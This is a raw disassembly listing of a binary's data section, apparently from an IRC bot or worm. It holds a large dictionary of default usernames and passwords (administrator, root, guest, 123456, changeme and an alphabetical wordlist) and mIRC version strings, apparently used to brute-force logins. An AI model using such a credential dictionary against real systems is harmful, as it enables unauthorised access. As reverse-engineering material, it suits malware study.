dd offset aIiii ; "iiii"
dd offset aIiiii ; "iiiii"
dd offset aIiiiii ; "iiiiii"
dd offset aJ_0 ; "j"
dd offset aJj ; "jj"
dd offset aJjj ; "jjj"
dd offset aJjjj ; "jjjj"
dd offset aJjjjj ; "jjjjj"
dd offset aJjjjjj ; "jjjjjj"
dd offset aK_0 ; "k"
dd offset aKk ; "kk"
dd offset aKkk ; "kkk"
dd offset aKkkk ; "kkkk"
dd offset aKkkkk ; "kkkkk"
dd offset aKkkkkk ; "kkkkkk"
dd offset asc_441098 ; "l"
dd offset aLl ; "ll"
dd offset aLll ; "lll"
dd offset aLlll ; "llll"
dd offset aLllll ; "lllll"
dd offset aLlllll ; "llllll"
dd offset aM_3 ; "m"
dd offset aMm ; "mm"
dd offset aMmm ; "mmm"
dd offset aMmmm ; "mmmm"
dd offset aMmmmm ; "mmmmm"
dd offset aMmmmmm ; "mmmmmm"
dd offset aN_0 ; "n"
dd offset aNn ; "nn"
dd offset aNnn ; "nnn"
dd offset aNnnn ; "nnnn"
dd offset aNnnnn ; "nnnnn"
dd offset aNnnnnn ; "nnnnnn"
dd offset aO_0 ; "o"
dd offset aOo ; "oo"
dd offset aOoo ; "ooo"
dd offset aOooo ; "oooo"
dd offset aOoooo ; "ooooo"
dd offset aOooooo ; "oooooo"
dd offset aP_0 ; "p"
dd offset aPp ; "pp"
dd offset aPpp ; "ppp"
dd offset aPppp ; "pppp"
dd offset aPpppp ; "ppppp"
dd offset aPppppp ; "pppppp"
dd offset aU_0 ; "u"
dd offset aUu ; "uu"
dd offset aUuu ; "uuu"
dd offset aUuuu ; "uuuu"
dd offset aUuuuu ; "uuuuu"
dd offset aUuuuuu ; "uuuuuu"
dd offset aS_26 ; "s"
dd offset aSs ; "ss"
dd offset aSss ; "sss"
dd offset aSsss ; "ssss"
dd offset aSssss ; "sssss"
dd offset aSsssss ; "ssssss"
dd offset aT_0 ; "t"
dd offset aTt ; "tt"
dd offset aTtt ; "ttt"
dd offset aTttt ; "tttt"
dd offset aTtttt ; "ttttt"
dd offset aTttttt ; "tttttt"
dd offset aY ; "y"
dd offset aYy ; "yy"
dd offset aYyy ; "yyy"
dd offset aYyyy ; "yyyy"
dd offset aYyyyy ; "yyyyy"
dd offset aYyyyyy ; "yyyyyy"
dd offset aV ; "v"
dd offset aVv ; "vv"
dd offset aVvv_0 ; "vvv"
dd offset aVvvv ; "vvvv"
dd offset aVvvvv ; "vvvvv"
dd offset aVvvvvv ; "vvvvvv"
dd offset aW ; "w"
dd offset aWw ; "ww"
dd offset aWww ; "www"
dd offset aWwww ; "wwww"
dd offset aWwwww ; "wwwww"
dd offset aWwwwww ; "wwwwww"
dd offset aQ_0 ; "q"
dd offset aQq ; "qq"
dd offset aQqq ; "qqq"
dd offset aQqqq ; "qqqq"
dd offset aQqqqq ; "qqqqq"
dd offset aQqqqqq ; "qqqqqq"
dd offset aZ_0 ; "z"
dd offset aZz ; "zz"
dd offset aZzz ; "zzz"
dd offset aZzzz ; "zzzz"
dd offset aZzzzz ; "zzzzz"
dd offset aZzzzzz ; "zzzzzz"
dd offset aXxyyzz ; "xxyyzz"
dd offset aZzxx ; "zzxx"
dd offset aAass ; "aass"
dd offset aQqww ; "qqww"
dd offset aZzzxxxccc ; "zzzxxxccc"
dd offset aAaasssddd ; "aaasssddd"
dd offset aQqqwwweee ; "qqqwwweee"
dd offset aQqwwee ; "qqwwee"
dd offset aAassdd ; "aassdd"
dd offset aZzxxcc ; "zzxxcc"
dd offset a1qaz ; "1qaz"
dd offset a2wsx ; "2wsx"
dd offset a2qaz ; "2qaz"
dd offset a3edc ; "3edc"
dd offset a3wsx ; "3wsx"
dd offset a112233 ; "112233"
dd offset aMnb ; "mnb"
dd offset aMnbv ; "mnbv"
dd offset a2486 ; "2486"
dd offset a2684 ; "2684"
dd offset a13579 ; "13579"
dd offset a753159 ; "753159"
dd offset a159357 ; "159357"
dd offset a951753 ; "951753"
dd offset a753951 ; "753951"
dd offset a142536 ; "142536"
dd offset aSystem_0 ; "system"
dd offset aAdministrato_5 ; "ADMINISTRATOR"
dd offset aAdministrato_6 ; "Administrator"
dd offset aAdministrato_7 ; "administrator"
dd offset aFubar_0 ; "fubar"
dd offset aBla_0 ; "bla"
dd offset aGuest_2 ; "GUEST"
dd offset aRoot_3 ; "ROOT"
dd offset aRoot_4 ; "root"
dd offset aAdmin_1 ; "ADMIN"
dd offset aPassword_1 ; "PASSWORD"
dd offset aTemp_0 ; "TEMP"
dd offset aShare_1 ; "SHARE"
dd offset aWrite_0 ; "WRITE"
dd offset aFull_1 ; "FULL"
dd offset aLadeda_0 ; "ladeda"
dd offset aBoth_0 ; "BOTH"
dd offset aRead_0 ; "READ"
dd offset aFiles_0 ; "FILES"
dd offset aDemo_0 ; "DEMO"
dd offset aOwner_2 ; "OWNER"
dd offset aOwner_3 ; "Owner"
dd offset aEdu_0 ; "edu"
dd offset aTest_0 ; "TEST"
dd offset aAccess_0 ; "ACCESS"
dd offset aUser_5 ; "USER"
dd offset aBackup_0 ; "BACKUP"
dd offset aSystem_3 ; "SYSTEM"
dd offset aServer_7 ; "SERVER"
dd offset dword_4E0754
dd 0
dword_43C6A4 dd 10h ; DATA XREF: sub_401CC1+716r
; sub_401CC1+74Cr ...
dword_43C6A8 dd 6F72402Ah, 6D6Fh ; DATA XREF: .nsp0:off_43A154o
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:off_43A158o
align 10h
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:0043A15Co
align 10h
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:0043A160o
align 10h
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .nsp0:0043A164o
align 10h
aAdministrato_0 db 'Administrator',0 ; DATA XREF: .nsp0:0043A210o
align 10h
aAdministrato_1 db 'administrator',0 ; DATA XREF: .nsp0:0043A214o
align 10h
aAdministrador db 'administrador',0 ; DATA XREF: .nsp0:0043A218o
align 10h
aAdministrateur db 'administrateur',0 ; DATA XREF: .nsp0:0043A21Co
align 10h
aAdministrat db 'administrat',0 ; DATA XREF: .nsp0:0043A220o
aAdmins db 'admins',0 ; DATA XREF: .nsp0:0043A224o
align 4
aAdmin db 'admin',0 ; DATA XREF: .nsp0:0043A228o
align 4
aStaff db 'staff',0 ; DATA XREF: .nsp0:0043A22Co
align 4
aRoot db 'root',0 ; DATA XREF: .nsp0:0043A230o
align 4
aComputer db 'computer',0 ; DATA XREF: .nsp0:0043A234o
align 4
aOwner db 'owner',0 ; DATA XREF: .nsp0:0043A238o
align 10h
aStudent db 'student',0 ; DATA XREF: .nsp0:0043A23Co
aTeacher db 'teacher',0 ; DATA XREF: .nsp0:0043A240o
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .nsp0:0043A244o
align 4
aGuest_0 db 'guest',0 ; DATA XREF: .nsp0:0043A248o
align 4
aDefault db 'default',0 ; DATA XREF: .nsp0:0043A24Co
aDatabase db 'database',0 ; DATA XREF: .nsp0:0043A250o
align 4
aDba db 'dba',0 ; DATA XREF: .nsp0:0043A254o
aOracle db 'oracle',0 ; DATA XREF: .nsp0:0043A258o
align 4
aDb2 db 'db2',0 ; DATA XREF: .nsp0:0043A25Co
aUser_3 db 'USER',0 ; DATA XREF: .nsp0:0043A260o
align 10h
aAdministrato_2 db 'ADMINISTRATOR',0 ; DATA XREF: .nsp0:0043A26Co
align 10h
aAdministrato_3 db 'Administrator',0 ; DATA XREF: .nsp0:0043A270o
align 10h
aAdministrato_4 db 'administrator',0 ; DATA XREF: .nsp0:0043A274o
align 10h
aFubar db 'fubar',0 ; DATA XREF: .nsp0:0043A278o
align 4
aBla db 'bla',0 ; DATA XREF: .nsp0:0043A27Co
aGuest_1 db 'GUEST',0 ; DATA XREF: .nsp0:0043A280o
align 4
aRoot_0 db 'ROOT',0 ; DATA XREF: .nsp0:0043A284o
align 4
aRoot_1 db 'root',0 ; DATA XREF: .nsp0:0043A288o
align 4
aAdmin_0 db 'ADMIN',0 ; DATA XREF: .nsp0:0043A28Co
align 4
aPassword db 'PASSWORD',0 ; DATA XREF: .nsp0:0043A290o
align 4
aTemp db 'TEMP',0 ; DATA XREF: .nsp0:0043A294o
align 10h
aShare_0 db 'SHARE',0 ; DATA XREF: .nsp0:0043A298o
align 4
aWrite db 'WRITE',0 ; DATA XREF: .nsp0:0043A29Co
align 10h
aFull_0 db 'FULL',0 ; DATA XREF: .nsp0:0043A2A0o
align 4
aLadeda db 'ladeda',0 ; DATA XREF: .nsp0:0043A2A4o
align 10h
aBoth db 'BOTH',0 ; DATA XREF: .nsp0:0043A2A8o
align 4
aRead db 'READ',0 ; DATA XREF: .nsp0:0043A2ACo
align 10h
aFiles db 'FILES',0 ; DATA XREF: .nsp0:0043A2B0o
align 4
aDemo db 'DEMO',0 ; DATA XREF: .nsp0:0043A2B4o
align 10h
aOwner_0 db 'OWNER',0 ; DATA XREF: .nsp0:0043A2B8o
align 4
aOwner_1 db 'Owner',0 ; DATA XREF: .nsp0:0043A2BCo
align 10h
aEdu db 'edu',0 ; DATA XREF: .nsp0:0043A2C0o
aTest db 'TEST',0 ; DATA XREF: .nsp0:0043A2C4o
align 4
aAccess db 'ACCESS',0 ; DATA XREF: .nsp0:0043A2C8o
align 4
aUser_4 db 'USER',0 ; DATA XREF: .nsp0:0043A2CCo
align 4
aBackup db 'BACKUP',0 ; DATA XREF: .nsp0:0043A2D0o
align 4
aSystem_1 db 'SYSTEM',0 ; DATA XREF: .nsp0:0043A2D4o
align 4
aServer_6 db 'SERVER',0 ; DATA XREF: .nsp0:0043A2D8o
align 4
aPepsi db 'pepsi',0 ; DATA XREF: .nsp0:0043A2DCo
align 4
aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:0043A2E0o
align 4
aUnix db 'unix',0 ; DATA XREF: .nsp0:0043A2E4o
align 4
aLinux db 'linux',0 ; DATA XREF: .nsp0:0043A2E8o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .nsp0:0043A2ECo
align 10h
aChangeme_0 db 'Changeme',0 ; DATA XREF: .nsp0:0043A2F0o
align 4
aTemp123 db 'temp123',0 ; DATA XREF: .nsp0:0043A2F4o
a1: ; DATA XREF: .nsp0:0043A2F8o
unicode 0, <1>,0
a12 db '12',0 ; DATA XREF: .nsp0:0043A2FCo
align 4
a123 db '123',0 ; DATA XREF: .nsp0:0043A300o
a1234 db '1234',0 ; DATA XREF: .nsp0:0043A304o
align 4
a12345 db '12345',0 ; DATA XREF: .nsp0:0043A308o
align 10h
a123456 db '123456',0 ; DATA XREF: .nsp0:0043A30Co
align 4
a1234567 db '1234567',0 ; DATA XREF: .nsp0:0043A310o
a12345678 db '12345678',0 ; DATA XREF: .nsp0:0043A314o
align 4
a123456789 db '123456789',0 ; DATA XREF: .nsp0:0043A318o
align 4
a654321 db '654321',0 ; DATA XREF: .nsp0:0043A31Co
align 10h
a54321 db '54321',0 ; DATA XREF: .nsp0:0043A320o
align 4
a111 db '111',0 ; DATA XREF: .nsp0:0043A324o
a11111111 db '11111111',0 ; DATA XREF: .nsp0:0043A328o
align 4
a88888888 db '88888888',0 ; DATA XREF: .nsp0:0043A32Co
align 4
aPass_1 db 'pass',0 ; DATA XREF: .nsp0:0043A330o
align 4
aPasswd db 'passwd',0 ; DATA XREF: .nsp0:0043A334o
align 4
aDatabase_0 db 'database',0 ; DATA XREF: .nsp0:0043A338o
align 10h
aAbcd db 'abcd',0 ; DATA XREF: .nsp0:0043A33Co
align 4
aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:0043A340o
align 10h
aOracle_0 db 'oracle',0 ; DATA XREF: .nsp0:0043A344o
align 4
aSybase db 'sybase',0 ; DATA XREF: .nsp0:0043A348o
align 10h
a123qwe db '123qwe',0 ; DATA XREF: .nsp0:0043A34Co
align 4
aComputer_0 db 'computer',0 ; DATA XREF: .nsp0:0043A350o
align 4
aInternet db 'Internet',0 ; DATA XREF: .nsp0:0043A354o
align 10h
aSuper db 'super',0 ; DATA XREF: .nsp0:0043A358o
align 4
a123asd_0 db '123asd',0
align 10h
aIhavenopass db 'ihavenopass',0
aGodblessyou db 'godblessyou',0
aEnable db 'enable',0
align 10h
aXp_0 db 'xp',0
align 4
a2002_0 db '2002',0
align 4
a2003_1 db '2003',0
align 4
a2600_0 db '2600',0
align 4
a110_0 db '110',0
a111111_0 db '111111',0
align 4
a121212_0 db '121212',0
align 10h
a123123_0 db '123123',0
align 4
a1234qwer_0 db '1234qwer',0
align 4
a123abc_0 db '123abc',0
align 4
a007_0 db '007',0
aAlpha db 'alpha',0
align 4
aPatrick db 'patrick',0
aPat db 'pat',0 ; DATA XREF: .nsp0:0043A3A0o
aSex db 'sex',0
aGod db 'god',0
aFoobar db 'foobar',0
align 4
aNilez db 'Nilez',0
align 4
aDevil db 'devil',0
align 4
aNetdevil db 'netdevil',0
align 10h
aNetDevil db 'net-devil',0
align 4
a0wned db '0wned',0 ; DATA XREF: .nsp0:0043A3C0o
align 4
aOwned db 'owned',0
align 4
aIrule db 'irule',0
align 4
aNetfuck db 'netfuck',0 ; DATA XREF: .nsp0:0043A3CCo
aFucked db 'fucked',0 ; DATA XREF: .nsp0:0043A3D0o
align 4
aCrash db 'crash',0 ; DATA XREF: .nsp0:0043A3D4o
align 4
aA_2:
unicode 0, <a>,0
aAaa_0 db 'aaa',0 ; DATA XREF: .nsp0:0043A3DCo
aAbc db 'abc',0
aTest123 db 'test123',0
aWin db 'win',0
aPc db 'pc',0
align 4
aAsdf_0 db 'asdf',0
align 10h
aSecret db 'secret',0
align 4
aQwer_0 db 'qwer',0
align 10h
aYxcv db 'yxcv',0
align 4
aZxcv_0 db 'zxcv',0
align 10h
aHome db 'home',0
align 4
aLogin_0 db 'login',0
align 10h
aPwd db 'pwd',0
aLove db 'love',0
align 4
aMypc db 'mypc',0
align 4
aMypc123 db 'mypc123',0
aAdmin123 db 'admin123',0
align 4
aPw123 db 'pw123',0
align 10h
aMypass db 'mypass',0
align 4
aMypass123 db 'mypass123',0
align 4
aPw db 'pw',0
align 4
aMat db 'Mat',0
aMatt db 'Matt',0
align 4
aMatthew db 'Matthew',0
aGobo db 'gobo',0
align 4
aSatan db 'satan',0
align 4
aSatanik db 'satanik',0
aSatanic db 'satanic',0
aSpaceman db 'spaceman',0
align 4
aHeaven db 'heaven',0
align 10h
aW00t db 'w00t',0
align 4
a0wn3d_0 db '0wn3d',0
align 10h
aKiller db 'killer',0
align 4
aLeet db 'leet',0
align 10h
aL33t db 'l33t',0 ; DATA XREF: .nsp0:0043A464o
align 4
aL337 db 'l337',0 ; DATA XREF: .nsp0:0043A468o
align 10h
aHacker db 'hacker',0 ; DATA XREF: .nsp0:0043A46Co
align 4
aHax0r db 'hax0r',0 ; DATA XREF: .nsp0:0043A470o
align 10h
aScript db 'script',0 ; DATA XREF: .nsp0:0043A474o
align 4
aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .nsp0:0043A478o
align 4
aKiddie db 'kiddie',0 ; DATA XREF: .nsp0:0043A47Co
align 10h
aMirc_4 db 'mirc',0 ; DATA XREF: .nsp0:0043A480o
align 4
aUwontguessme db 'uwontguessme',0 ; DATA XREF: .nsp0:0043A484o
align 4
aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .nsp0:0043A488o
align 4
aGuessme db 'guessme',0 ; DATA XREF: .nsp0:0043A48Co
asc_43CC70: ; DATA XREF: .nsp0:0043A490o
unicode 0, <x>,0
aXx_1 db 'xx',0 ; DATA XREF: .nsp0:0043A494o
align 4
aXxx db 'xxx',0 ; DATA XREF: .nsp0:0043A498o
aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:0043A49Co
align 4
aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:0043A4A0o
align 4
aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:0043A4A4o
align 4
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:0043A4A8o
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0043A4ACo
align 4
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:0043A4B0o
align 4
a0: ; DATA XREF: .nsp0:0043A4B4o
unicode 0, <0>,0
a00 db '00',0 ; DATA XREF: .nsp0:0043A4B8o
align 4
aDeath db 'death',0 ; DATA XREF: .nsp0:0043A4BCo
align 4
aTesting db 'testing',0 ; DATA XREF: .nsp0:0043A4C0o
a000 db '000',0 ; DATA XREF: .nsp0:0043A4C4o
a0000 db '0000',0 ; DATA XREF: .nsp0:0043A4C8o
align 4
a00000 db '00000',0 ; DATA XREF: .nsp0:0043A4CCo
align 10h
a000000 db '000000',0 ; DATA XREF: .nsp0:0043A4D0o
align 4
aAcademia db 'academia',0 ; DATA XREF: .nsp0:0043A4D4o
align 4
aAcademic db 'academic',0 ; DATA XREF: .nsp0:0043A4D8o
align 10h
aAccept_0 db 'accept',0 ; DATA XREF: .nsp0:0043A4DCo
align 4
aAccount db 'account',0 ; DATA XREF: .nsp0:0043A4E0o
aAction_0 db 'action',0 ; DATA XREF: .nsp0:0043A4E4o
align 4
aAdam db 'adam',0 ; DATA XREF: .nsp0:0043A4E8o
align 10h
aAdrian db 'adrian',0 ; DATA XREF: .nsp0:0043A4ECo
align 4
aAdrianna db 'adrianna',0 ; DATA XREF: .nsp0:0043A4F0o
align 4
aAdult db 'adult',0 ; DATA XREF: .nsp0:0043A4F4o
align 4
aAerobics db 'aerobics',0 ; DATA XREF: .nsp0:0043A4F8o
align 4
aAids db 'aids',0 ; DATA XREF: .nsp0:0043A4FCo
align 10h
aAirplane db 'airplane',0 ; DATA XREF: .nsp0:0043A500o
align 4
aAlaska db 'alaska',0 ; DATA XREF: .nsp0:0043A504o
align 4
aAlbany db 'albany',0 ; DATA XREF: .nsp0:0043A508o
align 4
aAlbatros db 'albatros',0 ; DATA XREF: .nsp0:0043A50Co
align 4
aAlbert db 'albert',0 ; DATA XREF: .nsp0:0043A510o
align 10h
aAlert db 'alert',0 ; DATA XREF: .nsp0:0043A514o
align 4
aAlex db 'alex',0 ; DATA XREF: .nsp0:0043A518o
align 10h
aAlexande db 'alexande',0 ; DATA XREF: .nsp0:0043A51Co
align 4
aAlgebra db 'algebra',0 ; DATA XREF: .nsp0:0043A520o
aAlias db 'alias',0 ; DATA XREF: .nsp0:0043A524o
align 4
aAliases_0 db 'aliases',0 ; DATA XREF: .nsp0:0043A528o
aAlice db 'alice',0 ; DATA XREF: .nsp0:0043A52Co
align 4
aAlicia db 'alicia',0 ; DATA XREF: .nsp0:0043A530o
align 4
aAlisa db 'alisa',0 ; DATA XREF: .nsp0:0043A534o
align 4
aAlison db 'alison',0 ; DATA XREF: .nsp0:0043A538o
align 4
aAllison db 'allison',0 ; DATA XREF: .nsp0:0043A53Co
aAllow db 'allow',0 ; DATA XREF: .nsp0:0043A540o
align 4
aAlphabet db 'alphabet',0 ; DATA XREF: .nsp0:0043A544o
align 10h
aAmadeus db 'amadeus',0 ; DATA XREF: .nsp0:0043A548o
aAmanda db 'amanda',0 ; DATA XREF: .nsp0:0043A54Co
align 10h
aAmber db 'amber',0 ; DATA XREF: .nsp0:0043A550o
align 4
aAmerica_0 db 'america',0 ; DATA XREF: .nsp0:0043A554o
aAmorphou db 'amorphou',0 ; DATA XREF: .nsp0:0043A558o
align 4
aAnal db 'anal',0 ; DATA XREF: .nsp0:0043A55Co
align 4
aAnalog db 'analog',0 ; DATA XREF: .nsp0:0043A560o
align 4
aAnarchis db 'anarchis',0 ; DATA XREF: .nsp0:0043A564o
align 4
aAnarchy db 'anarchy',0 ; DATA XREF: .nsp0:0043A568o
aAnchor db 'anchor',0 ; DATA XREF: .nsp0:0043A56Co
align 4
aAndrea db 'andrea',0 ; DATA XREF: .nsp0:0043A570o
align 10h
aAndroid db 'android',0 ; DATA XREF: .nsp0:0043A574o
aAndromac db 'andromac',0 ; DATA XREF: .nsp0:0043A578o
align 4
aAndy db 'andy',0 ; DATA XREF: .nsp0:0043A57Co
align 4
aAnfo db 'anfo',0 ; DATA XREF: .nsp0:0043A580o
align 4
aAngela db 'angela',0 ; DATA XREF: .nsp0:0043A584o
align 4
aAngerine db 'angerine',0 ; DATA XREF: .nsp0:0043A588o
align 4
aAngie db 'angie',0 ; DATA XREF: .nsp0:0043A58Co
align 10h
aAnimal db 'animal',0 ; DATA XREF: .nsp0:0043A590o
align 4
aAnimals db 'animals',0 ; DATA XREF: .nsp0:0043A594o
aAnita db 'anita',0 ; DATA XREF: .nsp0:0043A598o
align 4
aAnna db 'anna',0 ; DATA XREF: .nsp0:0043A59Co
align 10h
aAnne db 'anne',0 ; DATA XREF: .nsp0:0043A5A0o
align 4
aAnnette db 'annette',0 ; DATA XREF: .nsp0:0043A5A4o
aAnon db 'anon',0 ; DATA XREF: .nsp0:0043A5A8o
align 4
aAnonymou db 'anonymou',0 ; DATA XREF: .nsp0:0043A5ACo
align 4
aAnswer db 'answer',0 ; DATA XREF: .nsp0:0043A5B0o
align 4
aAnthrax db 'anthrax',0 ; DATA XREF: .nsp0:0043A5B4o
aAnthropo db 'anthropo',0 ; DATA XREF: .nsp0:0043A5B8o
align 10h
aAnvils db 'anvils',0 ; DATA XREF: .nsp0:0043A5BCo
align 4
aAnything db 'anything',0 ; DATA XREF: .nsp0:0043A5C0o
align 4
aApollo13 db 'apollo13',0 ; DATA XREF: .nsp0:0043A5C4o
align 10h
aApril_0 db 'april',0 ; DATA XREF: .nsp0:0043A5C8o
align 4
aAria db 'aria',0 ; DATA XREF: .nsp0:0043A5CCo
align 10h
aAriadne db 'ariadne',0 ; DATA XREF: .nsp0:0043A5D0o
aArlene db 'arlene',0 ; DATA XREF: .nsp0:0043A5D4o
align 10h
aArmy db 'army',0 ; DATA XREF: .nsp0:0043A5D8o
align 4
aArrow db 'arrow',0 ; DATA XREF: .nsp0:0043A5DCo
align 10h
aArthur db 'arthur',0 ; DATA XREF: .nsp0:0043A5E0o
align 4
aArtist db 'artist',0 ; DATA XREF: .nsp0:0043A5E4o
align 10h
aAsian db 'asian',0 ; DATA XREF: .nsp0:0043A5E8o
align 4
aAsshole db 'asshole',0 ; DATA XREF: .nsp0:0043A5ECo
aAthena db 'athena',0 ; DATA XREF: .nsp0:0043A5F0o
align 4
aAtmosphe db 'atmosphe',0 ; DATA XREF: .nsp0:0043A5F4o
align 4
aAtom db 'atom',0 ; DATA XREF: .nsp0:0043A5F8o
align 4
aAttack db 'attack',0 ; DATA XREF: .nsp0:0043A5FCo
align 4
aAuthoriz db 'authoriz',0 ; DATA XREF: .nsp0:0043A600o
align 10h
aAztecs db 'aztecs',0 ; DATA XREF: .nsp0:0043A604o
align 4
aAzure db 'azure',0 ; DATA XREF: .nsp0:0043A608o
align 10h
aBabe db 'babe',0 ; DATA XREF: .nsp0:0043A60Co
align 4
aBaby db 'baby',0 ; DATA XREF: .nsp0:0043A610o
align 10h
aBacchus db 'bacchus',0 ; DATA XREF: .nsp0:0043A614o
aBackdoor db 'backdoor',0 ; DATA XREF: .nsp0:0043A618o
align 4
aBadass db 'badass',0 ; DATA XREF: .nsp0:0043A61Co
align 4
aBailey db 'bailey',0 ; DATA XREF: .nsp0:0043A620o
align 4
aBall db 'ball',0 ; DATA XREF: .nsp0:0043A624o
align 4
aBanana db 'banana',0 ; DATA XREF: .nsp0:0043A628o
align 4
aBananas db 'bananas',0 ; DATA XREF: .nsp0:0043A62Co
aBandit db 'bandit',0 ; DATA XREF: .nsp0:0043A630o
align 4
aBank db 'bank',0 ; DATA XREF: .nsp0:0043A634o
align 4
aBanks db 'banks',0 ; DATA XREF: .nsp0:0043A638o
align 4
aBarbara db 'barbara',0 ; DATA XREF: .nsp0:0043A63Co
aBarber db 'barber',0 ; DATA XREF: .nsp0:0043A640o
align 4
aBare db 'bare',0 ; DATA XREF: .nsp0:0043A644o
align 4
aBarf db 'barf',0 ; DATA XREF: .nsp0:0043A648o
align 4
aBaritone db 'baritone',0 ; DATA XREF: .nsp0:0043A64Co
align 10h
aBart db 'bart',0 ; DATA XREF: .nsp0:0043A650o
align 4
aBartman db 'bartman',0 ; DATA XREF: .nsp0:0043A654o
aBaseball db 'baseball',0 ; DATA XREF: .nsp0:0043A658o
align 4
aBasic db 'basic',0 ; DATA XREF: .nsp0:0043A65Co
align 4
aBass db 'bass',0 ; DATA XREF: .nsp0:0043A660o
align 4
aBassoon db 'bassoon',0 ; DATA XREF: .nsp0:0043A664o
aBatch db 'batch',0 ; DATA XREF: .nsp0:0043A668o
align 4
aBatman db 'batman',0 ; DATA XREF: .nsp0:0043A66Co
align 4
aBeach db 'beach',0 ; DATA XREF: .nsp0:0043A670o
align 4
aBeammeup db 'beammeup',0 ; DATA XREF: .nsp0:0043A674o
align 4
aBear db 'bear',0 ; DATA XREF: .nsp0:0043A678o
align 10h
aBeast db 'beast',0 ; DATA XREF: .nsp0:0043A67Co
align 4
aBeater db 'beater',0 ; DATA XREF: .nsp0:0043A680o
align 10h
aBeauty db 'beauty',0 ; DATA XREF: .nsp0:0043A684o
align 4
aBeaver db 'beaver',0 ; DATA XREF: .nsp0:0043A688o
align 10h
aBecky db 'becky',0 ; DATA XREF: .nsp0:0043A68Co
align 4
aBeethove db 'beethove',0 ; DATA XREF: .nsp0:0043A690o
align 4
aBegin db 'begin',0 ; DATA XREF: .nsp0:0043A694o
align 4
aBehead db 'behead',0 ; DATA XREF: .nsp0:0043A698o
align 4
aBell db 'bell',0 ; DATA XREF: .nsp0:0043A69Co
align 4
aBeloved db 'beloved',0 ; DATA XREF: .nsp0:0043A6A0o
aBenz db 'benz',0 ; DATA XREF: .nsp0:0043A6A4o
align 4
aBeowulf db 'beowulf',0 ; DATA XREF: .nsp0:0043A6A8o
aBerkeley db 'berkeley',0 ; DATA XREF: .nsp0:0043A6ACo
align 10h
aBerlin db 'berlin',0 ; DATA XREF: .nsp0:0043A6B0o
align 4
aBerliner db 'berliner',0 ; DATA XREF: .nsp0:0043A6B4o
align 4
aBeryl db 'beryl',0 ; DATA XREF: .nsp0:0043A6B8o
align 4
aBeta db 'beta',0 ; DATA XREF: .nsp0:0043A6BCo
align 4
aBeth db 'beth',0 ; DATA XREF: .nsp0:0043A6C0o
align 4
aBetsie db 'betsie',0 ; DATA XREF: .nsp0:0043A6C4o
align 4
aBetty db 'betty',0 ; DATA XREF: .nsp0:0043A6C8o
align 4
aBeverly db 'beverly',0 ; DATA XREF: .nsp0:0043A6CCo
aBible db 'bible',0 ; DATA XREF: .nsp0:0043A6D0o
align 4
aBicamera db 'bicamera',0 ; DATA XREF: .nsp0:0043A6D4o
align 4
aBigfoot db 'bigfoot',0 ; DATA XREF: .nsp0:0043A6D8o
aBill db 'bill',0 ; DATA XREF: .nsp0:0043A6DCo
align 4
aBinary db 'binary',0 ; DATA XREF: .nsp0:0043A6E0o
align 10h
aBios db 'bios',0 ; DATA XREF: .nsp0:0043A6E4o
align 4
aBird db 'bird',0 ; DATA XREF: .nsp0:0043A6E8o
align 10h
aBishop db 'bishop',0 ; DATA XREF: .nsp0:0043A6ECo
align 4
aBitch db 'bitch',0 ; DATA XREF: .nsp0:0043A6F0o
align 10h
aBitmap db 'bitmap',0 ; DATA XREF: .nsp0:0043A6F4o
align 4
aBitnet db 'bitnet',0 ; DATA XREF: .nsp0:0043A6F8o
align 10h
aBlack db 'black',0 ; DATA XREF: .nsp0:0043A6FCo
align 4
aBlonde db 'blonde',0 ; DATA XREF: .nsp0:0043A700o
align 10h
aBlondie db 'blondie',0 ; DATA XREF: .nsp0:0043A704o
aBlood db 'blood',0 ; DATA XREF: .nsp0:0043A708o
align 10h
aBloodaxe db 'bloodaxe',0 ; DATA XREF: .nsp0:0043A70Co
align 4
aBlow db 'blow',0 ; DATA XREF: .nsp0:0043A710o
align 4
aBlowjob db 'blowjob',0 ; DATA XREF: .nsp0:0043A714o
aBlue db 'blue',0 ; DATA XREF: .nsp0:0043A718o
align 4
aBlues db 'blues',0 ; DATA XREF: .nsp0:0043A71Co
align 4
aBoard db 'board',0 ; DATA XREF: .nsp0:0043A720o
align 4
aBomb db 'bomb',0 ; DATA XREF: .nsp0:0043A724o
align 4
aBoner db 'boner',0 ; DATA XREF: .nsp0:0043A728o
align 4
aBoob db 'boob',0 ; DATA XREF: .nsp0:0043A72Co
align 4
aBoobs db 'boobs',0 ; DATA XREF: .nsp0:0043A730o
align 4
aBook db 'book',0 ; DATA XREF: .nsp0:0043A734o
align 4
aBorn db 'born',0 ; DATA XREF: .nsp0:0043A738o
align 4
aBoyscout db 'boyscout',0 ; DATA XREF: .nsp0:0043A73Co
align 10h
aBradley db 'bradley',0 ; DATA XREF: .nsp0:0043A740o
aBrandi db 'brandi',0 ; DATA XREF: .nsp0:0043A744o
align 10h
aBrandy db 'brandy',0 ; DATA XREF: .nsp0:0043A748o
align 4
aBravo db 'bravo',0 ; DATA XREF: .nsp0:0043A74Co
align 10h
aBreak db 'break',0 ; DATA XREF: .nsp0:0043A750o
align 4
aBreast db 'breast',0 ; DATA XREF: .nsp0:0043A754o
align 10h
aBrenda db 'brenda',0 ; DATA XREF: .nsp0:0043A758o
align 4
aBrian db 'brian',0 ; DATA XREF: .nsp0:0043A75Co
align 10h
aBridget db 'bridget',0 ; DATA XREF: .nsp0:0043A760o
aBroadway db 'broadway',0 ; DATA XREF: .nsp0:0043A764o
align 4
aBrothel db 'brothel',0 ; DATA XREF: .nsp0:0043A768o
aBrunette db 'brunette',0 ; DATA XREF: .nsp0:0043A76Co
align 4
